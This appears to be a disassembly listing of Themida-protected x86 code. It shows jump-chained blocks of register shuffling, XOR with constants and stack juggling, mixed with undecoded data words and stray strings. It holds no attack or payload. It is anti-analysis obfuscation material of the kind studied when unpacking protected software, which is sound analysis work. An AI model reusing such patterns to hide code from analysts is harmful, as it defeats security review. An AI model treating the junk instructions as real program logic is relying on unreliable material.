; ---------------------------------------------------------------------------
loc_5551AD: ; CODE XREF: Themida_:00556156j
push 4542596Ch
pop eax
push edi
push 1
jmp loc_55E1A8
; ---------------------------------------------------------------------------
aWvsg db 'WVég',7,0
dd 74AF6800h, 0C15803BDh, 0B72505E8h, 4863621Eh, 0FF9410E9h
dd 5EB0B9FFh, 8E681E75h, 89000075h, 0F6BE2434h, 813F451Eh
dd 861725C6h, 3EEC111h, 0E33E681h, 0BD554015h, 1, 815DEE29h
dd 8664AEEEh, 6846E91Eh, 0E1810000h, 0B295913h, 231F181h
dd 0CE018FF0h, 5EF08959h, 0F704E8C1h, 2E2D40D0h, 81B2A747h
dd 6E1AEDEBh, 81C30162h, 6E1AEDC3h, 0AED8E962h, 39BB0000h
dd 0F711C26Fh, 4EBC1DBh, 3335F381h, 0C3817C04h, 1AF15C21h
dd 14ADE955h, 89570000h, 4C781E7h, 55000000h, 4BDh, 5DEF2900h
dd 96D6E9h
db 0
; ---------------------------------------------------------------------------
loc_555271: ; CODE XREF: Themida_:0055C24Dj
push esi
mov esi, 36891729h
xor [esp+4], esi
mov esi, [esp]
add esp, 4
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], esi
push esp
pop esi
jmp loc_561B87
; ---------------------------------------------------------------------------
db 89h
dd 74FF242Ch, 59E90424h, 57000007h, 0F30FB3BFh, 8BFB012Bh
dd 0C481243Ch, 4, 0EB81F301h, 2BF30FB3h, 5E2434FFh, 53E78957h
dd 4BBh, 5BDF0100h, 4BD55h, 57E90000h, 8B000014h, 8DE92424h
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5552E3: ; CODE XREF: Themida_:00562202j
not edx
xchg eax, edx
xor [esp], eax
xor eax, [esp]
xor [esp], eax
mov ecx, [esp]
add esp, 4
jmp loc_5530A1
; ---------------------------------------------------------------------------
loc_5552FD: ; CODE XREF: Themida_:0054FC3Dj
mov esi, [esp]
add esp, 4
add esp, 4
jmp loc_550EEE
; ---------------------------------------------------------------------------
loc_555311: ; CODE XREF: Themida_:0054FF69j
push cx
pushf
jmp loc_54DDC5
; ---------------------------------------------------------------------------
loc_555319: ; CODE XREF: Themida_:0055586Ej
mov ecx, esp
jmp loc_5532E9
; ---------------------------------------------------------------------------
aY db 'µ"(ìY',0
aHT db 'ÜhÂt',0
align 4
dd 0B5240C89h, 3E5C086h, 0FFEBBCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555339: ; CODE XREF: Themida_:00559884j
or esi, 68113251h
and esi, 6A3400B0h
add esi, 0EB1657B1h
and ebx, esi
jmp loc_55AFC0
; ---------------------------------------------------------------------------
dw 0EA20h
dd 0E9CAFE59h, 59E7h, 242C8759h, 8BD0885Ch, 1E92414h, 5E000065h
dd 0E958C501h, 8B45h, 240C8B66h, 348B5456h, 2FE3E924h
dd 0EE050000h, 0D43D328h, 6C7800ACh, 776EE9h, 0F7565E00h
dd 815E2414h, 7242BCCEh, 0C8B0E933h, 0C89FFFFh, 256DE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5553AA: ; CODE XREF: Themida_:0055F7C3j
mov [esp], esp
add dword ptr [esp], 4
pop esi
push 3F2Ch
jmp loc_5614DB
; ---------------------------------------------------------------------------
db 5Fh
dd 4BE56h, 0F1290000h, 240C875Eh, 242C895Ch, 0FFB805E9h
dd 875E5EFFh, 248B242Ch, 24348924h, 0FF2434FFh, 3C8B2434h
dd 0C2A6E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5553EE: ; CODE XREF: Themida_:00557E43j
mov ebp, 5C11FABAh
xor ebx, ebp
pop ebp
mov ecx, ebx
mov ebx, [esp]
jmp loc_55BC1A
; ---------------------------------------------------------------------------
dd 7429C381h, 8F517A9Fh, 0B6E95B03h, 33FFFF89h, 34312434h
dd 24343324h, 0FF24248Bh, 0E99C240Ch, 0FFFF89A1h, 0C781E789h
dd 4, 4EF81h, 3C870000h, 2C895C24h, 0E15CE924h, 5D54FFFFh
dd 4B850h, 0ED810000h, 403D3B23h, 0C581C501h, 403D3B23h
dd 29FAE958h, 2C8B0000h, 0AEECE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555462: ; CODE XREF: Themida_:00552680j
add ecx, 4
xchg ecx, [esp]
jmp loc_55A5F5
; ---------------------------------------------------------------------------
loc_555470: ; CODE XREF: Themida_:0056019Cj
xchg ebx, [esp]
mov esp, [esp]
mov [esp], edx
push esp
jmp loc_553B64
; ---------------------------------------------------------------------------
db 46h
dd 788F681h, 0DEF77D6Ah, 91C6814Eh, 818266B1h, 0C16DC0EBh
dd 1AC38113h, 144F239h, 1AEB81F3h, 8144F239h, 0C16DC0C3h
dd 1C875E13h, 24248B24h, 55E18951h, 4BDh, 5DE90100h, 4C181h
dd 0C330000h, 0BF8BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5554CA: ; CODE XREF: Themida_:005585D7j
mov eax, 4
sub edx, eax
mov eax, [esp]
add esp, 4
jmp loc_55A7DA
; ---------------------------------------------------------------------------
dd 50E9D8F7h, 5BFFFFB6h, 0D2E9FA01h, 5900003Ch, 2BF4E9h
db 0
; ---------------------------------------------------------------------------
loc_5554F1: ; CODE XREF: Themida_:00561C86j
push 5117h
mov [esp], ebp
mov ebp, 4
push ebp
add dword ptr [esp], 3B6C1392h
pop ecx
sub ecx, 3B6C1392h
jmp loc_55BA13
; ---------------------------------------------------------------------------
loc_555512: ; CODE XREF: Themida_:00552DC5j
mov ax, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_55C84C
; ---------------------------------------------------------------------------
dd 52D8295Bh, 0FFA065E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55552D: ; CODE XREF: Themida_:00550798j
pop ecx
mov eax, ebp
mov ebp, [esp]
add esp, 4
mov ecx, 299A0E14h
xor ecx, eax
pop eax
shr ecx, 1
jmp loc_55E84D
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 7B44B850h, 0D8F77CB3h, 0E883D8F7h, 7E8C101h, 0C4723548h
dd 0CBE96A43h
db 1Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555563: ; CODE XREF: Themida_:0055291Cj
mov [esp], ebp
push 4
pop ebp
add eax, 2B224A55h
jmp loc_54E408
; ---------------------------------------------------------------------------
loc_555576: ; CODE XREF: Themida_:00558A79j
pop ebx
push ebp
jmp loc_550B08
; ---------------------------------------------------------------------------
db 68h, 8Eh, 1Ch
dd 4890000h, 5E08924h, 4, 0FF8F4FE9h, 3BBA68FFh, 3C890000h
dd 81E78924h, 4C7h, 4C78300h, 5C243C87h, 4E98358h, 91B2E951h
dd 0C683FFFFh, 24348704h, 8F24248Bh, 248B2404h, 0B4D2E924h
dd 2158FFFFh, 0B9E95FFAh, 81FFFFC2h, 82063BC3h, 8BDA013Ah
dd 0A4E9241Ch, 5C00009Ch, 1D50E9h, 4C48300h, 48BE388h
dd 4C48324h, 4CA86859h, 6BE90000h, 5AFFFF9Bh, 0E958C228h
dd 0FFFFD546h, 4C481h, 0D0280000h, 24148B66h, 6CA8E9h
dd 16766800h, 34890000h, 9FB85024h, 0E931106Eh, 0D0A5h
dd 75E9D501h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55562F: ; CODE XREF: Themida_:00550328j
xor esi, [esp]
xor [esp], esi
jmp loc_55096C
; ---------------------------------------------------------------------------
dw 55Fh
aNS5 db 'N%{:é5<',0
dd 0E9525A00h, 0FFFFC6CDh, 83242C8Bh, 28B04C4h, 0D1C2815Ah
dd 5021D335h, 3F13E9h
db 0
; ---------------------------------------------------------------------------
loc_555661: ; CODE XREF: Themida_:00561A88j
mov edi, [esp]
push edx
mov edx, esp
jmp loc_55FA7D
; ---------------------------------------------------------------------------
dd 1C24C781h, 0C7815918h, 0CE5BFFF6h, 0E95FF989h, 0C349h
dd 0A6E9D389h, 68000069h, 12D3h, 0E9241489h, 8F97h
; ---------------------------------------------------------------------------
loc_555694: ; CODE XREF: Themida_:0056262Aj
and edi, 26EB1405h
jmp loc_560388
; ---------------------------------------------------------------------------
db 0Ch
dd 4C0FEB6h, 58C60001h, 305AF730h, 0F2805BFAh, 0C8D8E97Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5556B6: ; CODE XREF: Themida_:0055BAA3j
jmp loc_54DDC5
; ---------------------------------------------------------------------------
db 31h
dd 0ADE9243Ch, 87FFFFBFh, 895C240Ch, 53662414h, 0FA887DB7h
dd 0D3005B66h, 0C0B60F5Ah, 818734FFh, 4ECh, 24048900h
dd 6706D9B8h, 82E95738h, 68FFFFD9h, 6522h, 0B2241489h
dd 5AD58861h, 5966EF00h, 93E9F830h, 1FFFF87h, 39EB81D3h
dd 68037351h, 3398h, 21C8E9h, 5DE82900h, 2B388235h, 0E95B5047h
dd 0A03Ch
; ---------------------------------------------------------------------------
loc_555728: ; CODE XREF: Themida_:005581D2j
push 41301B43h
pop edx
neg edx
sub edx, 7BDEBFF8h
mov esi, edx
pop edx
add [esp+4], esi
pop esi
mov edx, [esp]
add esp, 4
jmp loc_559CA8
; ---------------------------------------------------------------------------
loc_555749: ; CODE XREF: Themida_:0054E2FEj
mov ecx, [esp]
add esp, 4
jmp loc_552AF2
; ---------------------------------------------------------------------------
dd 24042966h, 8764E99Ch, 815FFFFFh, 4C6h, 24348700h, 136EE95Ch
dd 0FF570000h, 5F042474h, 5C24048Fh, 240C8B66h, 0E95F5457h
dd 0FFFFC139h, 12C5C681h, 0CE017B41h, 12C5EE81h, 0BB537B41h
dd 50212AFFh, 406FC381h, 0DE011727h, 2434FF5Bh, 9596E9h
db 0
; ---------------------------------------------------------------------------
loc_5557A9: ; CODE XREF: Themida_:005618B7j
xor edx, 66E722A3h
push ebx
jmp loc_5547A2
; ---------------------------------------------------------------------------
loc_5557B5: ; CODE XREF: Themida_:0055E679j
xor edx, 4CAD4AFAh
push edx
sub dword ptr [esp], 57FA09C2h
jmp loc_556966
; ---------------------------------------------------------------------------
loc_5557C8: ; CODE XREF: Themida_:0055C9E9j
pop ebp
add ebp, 982F3A6Ah
jmp loc_561719
; ---------------------------------------------------------------------------
dd 5C240C87h, 0AA29E9h, 0EC835900h, 9466E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5557E6: ; CODE XREF: Themida_:00559D90j
pop ebp
pop dword ptr [esp]
mov esp, [esp]
push ecx
mov ecx, esp
jmp loc_55D6ED
; ---------------------------------------------------------------------------
loc_5557F5: ; CODE XREF: Themida_:00553296j
pop eax
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_54F0C4
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 6E13E9h, 7B13B800h, 0C5896F51h, 2D3BBA58h, 96E90D29h
dd 89000014h, 1A35E9E2h, 4BA0000h, 1000000h, 8DD1E9D0h
dd 8059FFFFh, 0F380FFC3h, 5BD8009Fh, 0F657B551h, 28A9E9D5h
dd 8F5A0000h, 2FE92404h, 56FFFF88h, 27E9E689h, 81FFFFA2h
dd 0A26644C5h, 0B1BA527Dh, 0E93EB24Dh, 0FFFF9EF0h
; ---------------------------------------------------------------------------
loc_555868: ; CODE XREF: Themida_:00561079j
push eax
push esi
mov eax, [esp]
push ecx
jmp loc_555319
; ---------------------------------------------------------------------------
loc_555873: ; CODE XREF: Themida_:0055B53Cj
mov edx, [esp]
add esp, 4
xchg ecx, edx
sub esp, 4
mov [esp], ecx
jmp loc_56056D
; ---------------------------------------------------------------------------
loc_555889: ; CODE XREF: Themida_:00552727j
push eax
push edx
mov edx, 50347AF4h
sub edx, 0E4E43C3Ch
mov eax, edx
pop edx
and eax, 2F410E1h
jmp loc_5602C3
; ---------------------------------------------------------------------------
db 68h
dd 7988h, 0E9242C89h, 8590h, 4EC81h, 0C890000h, 3AE95324h
db 4Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5558BF: ; CODE XREF: Themida_:00561C24j
push dword ptr [esp]
pop eax
add esp, 4
mov edi, [esp]
jmp loc_5508D2
; ---------------------------------------------------------------------------
dw 1DBAh
dd 42108E29h, 0BB53D2F7h, 0EF71D6E5h, 815BDA31h, 0AC1CF7EDh
dd 9AC5816Ah, 297CD044h, 9AED81D5h, 817CD044h, 0AC1CF7C5h
dd 2C875A6Ah, 24248B24h, 8904EC83h, 0B9512424h, 4, 4244C01h
dd 24048F59h, 0E9E78957h, 0B251h, 0A107E956h, 34FF0000h
dd 0E9555924h, 0CD6Ah, 25172FBEh, 913EE93Eh, 0E9530000h
dd 0FFFFE6E8h
; ---------------------------------------------------------------------------
loc_55593C: ; CODE XREF: Themida_:0055E4C1j
add ecx, 4
add ecx, 4
jmp loc_554BF7
; ---------------------------------------------------------------------------
db 89h, 0D3h, 5Ah
dd 4327F381h, 0AAE94005h, 81FFFFA5h, 4C1h, 0CABBE900h
dd 0BF57FFFFh, 4, 0AE9F829h
db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555973: ; CODE XREF: Themida_:005530A3j
pop edx
jmp loc_554BF1
; ---------------------------------------------------------------------------
db 0B1h, 5Eh, 0E9h
dd 0FFFFF1FDh, 0E9241C87h, 6F88h, 27FCC681h, 0CE296287h
dd 27FCEE81h, 87596287h, 248B2434h, 990CE924h, 15FFFFFh
dd 0E9555AD6h, 0FFFFA017h
; ---------------------------------------------------------------------------
loc_5559AC: ; CODE XREF: Themida_:0055894Cj
push 5F9Dh
mov [esp], edi
mov edi, 4
add ebx, edi
pop edi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_55B15F
; ---------------------------------------------------------------------------
dw 0B850h
dd 61774E46h, 37FAE9h, 40B400h, 0C32858E3h, 0FFD79CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5559E1: ; CODE XREF: Themida_:00550ED6j
inc esi
add esi, 28B54BF5h
push ebp
mov ebp, 3D3375A9h
neg ebp
jmp loc_560932
; ---------------------------------------------------------------------------
db 81h, 0C3h, 52h
dd 0E96B2106h, 9A2Fh, 50242C8Bh, 0BA525854h, 6348630Ah
dd 4473E281h, 0EAC13F73h, 56E28103h, 81394A78h, 75372AE2h
dd 0CDE7E90Ah, 0F3800000h, 74E952FAh, 5C00007Ah, 4C281h
dd 0EA810000h, 4, 1D1BE9h, 24148700h, 2859665Ch, 2434FFD8h
dd 5B2434FFh, 4C481h
db 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
jmp loc_55D291
; ---------------------------------------------------------------------------
loc_555A68: ; CODE XREF: Themida_:0055F786j
sub eax, 5DD43829h
add eax, esi
jmp loc_5519F2
; ---------------------------------------------------------------------------
dd 60BEF681h, 0F7893F5Bh, 122BE95Eh, 665C0000h, 9C2424D3h
dd 0FF8338E9h, 66C828FFh, 0C5B4E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555A96: ; CODE XREF: Themida_:00557F82j
add ebx, 4
jmp loc_551970
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0AB0BE9h, 3C875C00h, 24248B24h, 576E68h, 242C8900h
dd 0FFDBF7E9h, 48966FFh, 86F6E924h, 48B0000h, 4D37E924h
dd 0C5810000h, 2, 0E9242C87h, 0FFFFA25Bh, 0C4C6815Ah, 810515D8h
dd 0B26DE7EFh, 53F70122h, 0B26DE7BBh, 5BDF0122h, 4C7835Eh
dd 2474FF57h, 48F5F04h, 0E95B5C24h, 0FFFF82BDh, 8704C783h
dd 815C243Ch, 123C5EBh, 5BDA8948h, 67ABC281h, 0FA010E31h
dd 953FE9h, 89525D00h, 4C281E2h, 81000000h, 4EAh, 74FF5200h
dd 8F5A0424h, 895C2404h, 74BE2434h, 46790E4Bh, 0BA524646h
dd 790E4B73h, 6547C681h, 0D6296E11h, 6547EE81h, 57E96E11h
dd 52FFFFC3h, 0B2CEB450h, 58E23010h, 0CA80D2F6h, 463CE936h
dd 202D0000h, 5210A41h, 7FA5334Ch, 8F52E9h, 0C9F58100h
dd 0E90AE305h, 627Dh, 8124048Bh, 4C4h, 0F4FBE900h, 34FFFFFFh
dd 1EEFE924h, 680000h, 29000000h, 455D242Ch, 3C08ED81h
dd 0E5C17C19h, 0F5814502h, 6020BECCh, 0FFF4C9E9h, 241C89FFh
dd 5384B151h, 0F930CBB7h, 4EC815Bh, 89000000h, 0FCE9241Ch
dd 50FFFFD0h, 0C1243481h, 59579472h, 72C1F181h, 48B5794h
dd 4C48324h, 1A7EC02Dh, 5C8012Fh, 2F1A7EC0h, 24048759h
dd 6624248Bh, 2404BB0Fh, 81B3E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555C12: ; CODE XREF: Themida_:00560201j
pop eax
xor eax, edx
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
add esp, 4
push ecx
mov ecx, 7E53081Eh
jmp loc_5533A8
; ---------------------------------------------------------------------------
dd 2C5FC281h, 1DE95445h
db 2Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555C3B: ; CODE XREF: Themida_:005550F5j
pop ecx
jmp loc_558C37
; ---------------------------------------------------------------------------
db 53h, 0BBh, 0C1h
dd 8171F41Ch, 1B15C8E3h, 7EBC16Ah, 1B75F381h, 0EBC1324Dh
dd 81D3F704h, 751D28EBh, 0E9D929F1h, 0B420h, 0EE31F531h
dd 0C168F531h, 0E900006Fh, 2B1Bh, 0DE9BC2Ch
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555C7F: ; CODE XREF: Themida_:0055BEB0j
push 1DA366EEh
pop edx
jmp loc_554BBC
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 113EB951h, 0F1814027h, 28966F5Bh, 17BAE9h, 1F260D00h
dd 3635657Fh, 0E93F9A25h, 2B31h
; ---------------------------------------------------------------------------
loc_555CB0: ; CODE XREF: Themida_:005604C3j
add esp, 4
push edx
mov edx, 94632h
push edi
mov edi, 485D3E7Eh
and edi, 7B37240Ch
xor edi, 24C52DE2h
add edi, 23616F1Dh
sub edi, 61654CE7h
add edx, edi
jmp loc_558741
; ---------------------------------------------------------------------------
db 58h, 89h, 0EFh
dd 0B6E9535Dh
db 9Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555CEB: ; CODE XREF: Themida_:00562925j
xchg ebp, [esp]
jmp loc_55CAAF
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF80CDh
; ---------------------------------------------------------------------------
loc_555CF8: ; CODE XREF: Themida_:0055805Fj
pop edi
add esp, 4
push 41A0h
mov [esp], ecx
mov ecx, 41285AB4h
push ebx
jmp loc_55EF6C
; ---------------------------------------------------------------------------
db 9
dd 0F6815FFEh, 67C06E73h, 0FFE26FE9h, 4104B9FFh, 0C141535Bh
dd 0F18107E1h, 535840CAh, 0E195E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555D32: ; CODE XREF: Themida_:00559175j
neg ebx
inc ebx
neg ebx
not ebx
jmp loc_55D263
; ---------------------------------------------------------------------------
loc_555D3E: ; CODE XREF: Themida_:00553837j
pop ebp
add ebx, 0FFFFFFFFh
push edx
mov edx, 53246E56h
jmp loc_55A61C
; ---------------------------------------------------------------------------
loc_555D50: ; CODE XREF: Themida_:00553408j
mov ecx, [esp]
add esp, 4
add esp, 4
sub bl, 0BAh
push ax
jmp loc_55E352
; ---------------------------------------------------------------------------
dw 468h
dd 0FF000000h, 0E95A2434h, 7F05h
; ---------------------------------------------------------------------------
loc_555D74: ; CODE XREF: Themida_:00557FB6j
sub esp, 4
mov [esp], ebx
jmp loc_55B331
; ---------------------------------------------------------------------------
db 81h
dd 50C58FEDh, 5DEF2980h, 5C243C87h, 0FFA0EFE9h, 0C4835EFFh
dd 49C76804h, 83E90000h, 5FFFFC0h, 4, 2B22E9h, 0C4815800h
dd 4, 405h, 9E95500h, 29FFFFDCh, 34FF5DEFh, 0ED69E924h
dd 0C729FFFFh, 0FFB7FFE9h, 2C895CFFh, 73E95424h, 0BA00003Fh
dd 4, 875AD001h, 8B5C2404h, 7B682404h, 0E9000046h, 72A4h
dd 8704C183h, 0E95C240Ch, 0FFFF7FC9h, 0FB4FA7BEh, 5EF00179h
dd 0FF89BAE9h, 0A6C981FFh, 0C107EB0Ch, 0D9F702E1h, 889FE9h
db 0
; ---------------------------------------------------------------------------
loc_555E19: ; CODE XREF: Themida_:00557352j
sub eax, 74756691h
add eax, ecx
add eax, 74756691h
pop ecx
push 6F7Eh
jmp loc_55F77E
; ---------------------------------------------------------------------------
loc_555E30: ; CODE XREF: Themida_:0055B366j
mov eax, 0E670C8B9h
sub edx, eax
pop eax
xor eax, edx
mov edx, [esp]
add esp, 4
push ebp
mov ebp, 33527F5Bh
add ebp, 1CCC60B5h
sub esp, 4
mov [esp], edi
mov edi, 3D4848C0h
jmp loc_54DEB8
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0FFFFECF1h, 7F2AB9B9h, 8BCA2914h, 0C481240Ch
dd 4, 3C95E9h, 2685200h, 0FF3C695Fh, 835A2434h, 0A1E904C4h
dd 66000041h, 68240C8Bh, 3FDAh, 54243C89h, 796AE9h, 24348700h
dd 0A2FCE9h, 4B900h, 0C5810000h, 24035FFh, 0ED81CD01h
dd 24035FFh, 0E9240C8Bh, 0FFFFC6D3h, 42DAF75Bh, 710CEA81h
dd 0B8500971h, 1EA210F0h, 0E958C209h, 474Fh, 8B241487h
dd 4892424h, 4B824h, 0C6810000h, 2A0014B3h, 0EE81C601h
dd 2A0014B3h, 6295E958h, 0C6E90000h, 68FFFF7Eh, 579h, 68240C89h
dd 200h, 57240C8Bh, 6EAFE9h
db 0
; ---------------------------------------------------------------------------
loc_555F15: ; CODE XREF: Themida_:0054E9DAj
pop ecx
mov edi, 961BAA61h
jmp loc_5528A3
; ---------------------------------------------------------------------------
dd 39E3BE56h, 574E2406h, 3F504BBFh, 0CF814F05h, 6237286Dh
dd 8106E7C1h, 0FFFFFFEFh, 7D11E9FFh, 0C4810000h, 4, 0DE9C0FEh
db 47h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555F4F: ; CODE XREF: Themida_:0055A657j
jz loc_55504D
push dword ptr [edi+28h]
push ebx
push eax
jmp loc_553E0D
; ---------------------------------------------------------------------------
loc_555F5F: ; CODE XREF: Themida_:005596E0j
mov esi, 27D74FB6h
mov ebx, esi
pop esi
sub ebx, 434F4AFFh
inc ebx
push ebx
not dword ptr [esp]
jmp loc_54EAFF
; ---------------------------------------------------------------------------
loc_555F77: ; CODE XREF: Themida_:0055C3B5j
xchg ebx, [esp]
pop esp
mov [esp], esi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
push 6B1277E0h
pop edx
jmp loc_562932
; ---------------------------------------------------------------------------
loc_555F9F: ; CODE XREF: Themida_:005518B8j
push edx
mov edx, 5B3F63FCh
and edx, 3A780A8Eh
shl edx, 7
add edx, 0FC051FF3h
xor ebx, edx
pop edx
jmp loc_550DD2
; ---------------------------------------------------------------------------
loc_555FBC: ; CODE XREF: Themida_:005560CDj
mov eax, [esp]
jmp loc_55A751
; ---------------------------------------------------------------------------
dd 0C181E189h, 4, 8704C183h, 4FE9240Ch, 5BFFFF97h, 0FFFFC381h
dd 0DBF7FFFFh, 0FA7C381h, 0EC811E81h, 4, 0FF891FE9h, 56B151FFh
dd 0C180C1FEh, 0BBB2525Ch, 6866h, 0E9241428h, 0FFFFA997h
; ---------------------------------------------------------------------------
loc_556008: ; CODE XREF: Themida_:00557CE7j
add eax, 33103CE3h
add eax, 733D4930h
sub eax, edi
push ebp
jmp loc_561C6E
; ---------------------------------------------------------------------------
aIxsG db '䌎-g',0
db 0
; ---------------------------------------------------------------------------
loc_556021: ; CODE XREF: Themida_:00560816j
add ebx, 5F070B0Dh
jmp loc_54EABF
; ---------------------------------------------------------------------------
dd 8324348Bh, 8EE904C4h, 57FFFF7Dh, 0C1815F59h, 0CD3FAB4h
dd 2E3FC281h, 0F7E96112h, 8B000009h, 0E7682424h, 8900002Eh
dd 92682434h, 8900001Ch, 0DCE92424h, 81FFFFD2h, 4C4h, 3DDAE900h
dd 0C7810000h, 58D019D1h, 55C70159h, 2E23DCBDh, 0C5814540h
dd 74C64977h, 262FF581h, 0F7555FD8h, 0CEE92414h, 0AC000074h
dd 47EBE952h, 0C8B0000h, 0E3895324h, 4C381h, 0C3830000h
dd 241C8704h, 4FEAE9h, 0C895C00h, 55E18924h, 3648E9h
db 0
; ---------------------------------------------------------------------------
loc_5560BD: ; CODE XREF: Themida_:0055AAE2j
add esp, 4
add esp, 4
push dword ptr [edi+eax*4]
sub dword ptr [esp], 71043E5Dh
jmp loc_555FBC
; ---------------------------------------------------------------------------
loc_5560D2: ; CODE XREF: Themida_:0055D64Bj
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebx
xor [esp], eax
xor eax, [esp]
jmp loc_5508F9
; ---------------------------------------------------------------------------
db 57h
dd 1D85E9h
db 0
; ---------------------------------------------------------------------------
loc_5560F5: ; CODE XREF: Themida_:0055336Aj
div ecx
push 173Eh
mov [esp], ebp
jmp loc_54EADF
; ---------------------------------------------------------------------------
aWszu db 'Wé§U',0
align 2
dw 2C8Bh
dd 0E7895724h, 4C781h, 0C7810000h, 4, 8B243C87h, 67682424h
dd 8900003Dh, 2EE9242Ch, 31FFFFC9h, 1C33241Ch, 24248B24h
dd 89242C89h, 4EC83E5h, 5F98E9h
db 0
; ---------------------------------------------------------------------------
loc_556145: ; CODE XREF: Themida_:00557200j
or eax, eax
jnz loc_554877
sub esp, 4
mov [esp], eax
jmp loc_5551AD
; ---------------------------------------------------------------------------
loc_55615B: ; CODE XREF: Themida_:005500DEj
pop esi
jmp loc_552912
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0E9241C8Bh, 0FFFFC9CAh
; ---------------------------------------------------------------------------
loc_55616C: ; CODE XREF: Themida_:0054F19Dj
push edx
jmp loc_55E266
; ---------------------------------------------------------------------------
dw 0EAC1h
dd 0F2814A05h, 0D36F01F6h, 0CDE9D031h, 54000013h, 0FFA396E9h
dd 5F5B68FFh, 1C890000h, 4BB24h, 0D8010000h, 0FF7E7CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55619D: ; CODE XREF: Themida_:0055F889j
add esp, 4
add esi, 4
add esi, 4
jmp loc_55D21D
; ---------------------------------------------------------------------------
db 29h, 0D8h, 2Dh
dd 6A406905h, 2404875Bh, 1C89665Ch, 77B324h, 1C8B66D8h
dd 0E0895024h, 405h, 0FD4AE900h, 0F781FFFFh, 654B2DB3h
dd 7669F781h, 5EE95CE2h, 4FFFFFBFh, 89A7C781h, 0F831F448h
dd 8059E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5561F6: ; CODE XREF: Themida_:0055C56Bj
push edi
push eax
jmp loc_54F96B
; ---------------------------------------------------------------------------
loc_5561FD: ; CODE XREF: Themida_:0054FA79j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_561D58
; ---------------------------------------------------------------------------
dd 0C34CB505h, 34FF5D15h, 0F8E95A24h, 89000072h, 68E9243Ch
dd 5B0000A2h, 8124048Bh, 4C4h, 0FFD83100h, 505B2434h, 0E9525854h
dd 0FFFFF5EEh, 0EF81EF01h, 35261E1Ah, 0E9F7015Dh, 0C657h
; ---------------------------------------------------------------------------
loc_556248: ; CODE XREF: Themida_:0054F004j
add ebx, 4
push esi
mov esi, 4
jmp loc_558966
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 50000000h, 5F68E9h
db 0
; ---------------------------------------------------------------------------
loc_556265: ; CODE XREF: Themida_:0055B44Bj
add dword ptr [esp], 4
pop ebx
jmp loc_559D66
; ---------------------------------------------------------------------------
db 89h
dd 6DB22414h, 5AD088h, 0E95866C5h, 0FFFFAD20h, 53240C89h
dd 0B3F2B151h, 0FFEB80EAh, 801FB450h, 0E30052EBh, 5852C380h
dd 0E9C8EB80h, 1E0h, 4C483h, 2BDDE9C3h, 875B0000h, 895C242Ch
dd 0FF542404h, 57582434h, 0FFE9E789h, 33000017h, 0C31240Ch
dd 240C3324h, 242CD25Ch, 7AF3E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5562D2: ; CODE XREF: Themida_:00551EECj
pop ecx
push 5B5Fh
mov [esp], ecx
mov ecx, 17A05D9Fh
and ebp, ecx
jmp loc_5596D8
; ---------------------------------------------------------------------------
loc_5562E7: ; CODE XREF: Themida_:0055E484j
pop esp
jmp loc_550D8F
; ---------------------------------------------------------------------------
db 89h, 0CBh, 0E9h
dd 51Ah, 405h, 0FE8BE900h, 5966FFFFh, 3AEC68h, 241C8900h
dd 0EFC035B7h, 97B45004h, 8FBC480h, 0B06858E7h, 89000074h
dd 8AB02404h, 0F086D8F6h, 0AF1DE9h, 4EA8100h, 0E9000000h
dd 0FFFFA869h
; ---------------------------------------------------------------------------
loc_556334: ; CODE XREF: Themida_:00562009j
mov [esp], edx
mov edx, 71CA03ABh
jmp loc_556B8E
; ---------------------------------------------------------------------------
loc_556341: ; CODE XREF: Themida_:0055C1C8j
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_54DDC5
; ---------------------------------------------------------------------------
loc_55634F: ; CODE XREF: Themida_:00558067j
push esi
push 7941h
mov [esp], eax
jmp loc_55FFB9
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
aHmk db '$hMK',0
align 2
dw 489h
dd 34FF5424h, 0C4835824h, 4EC8304h, 5F24E9h, 240C8900h
dd 619A68h, 241C8900h, 0E9AEB551h, 713h
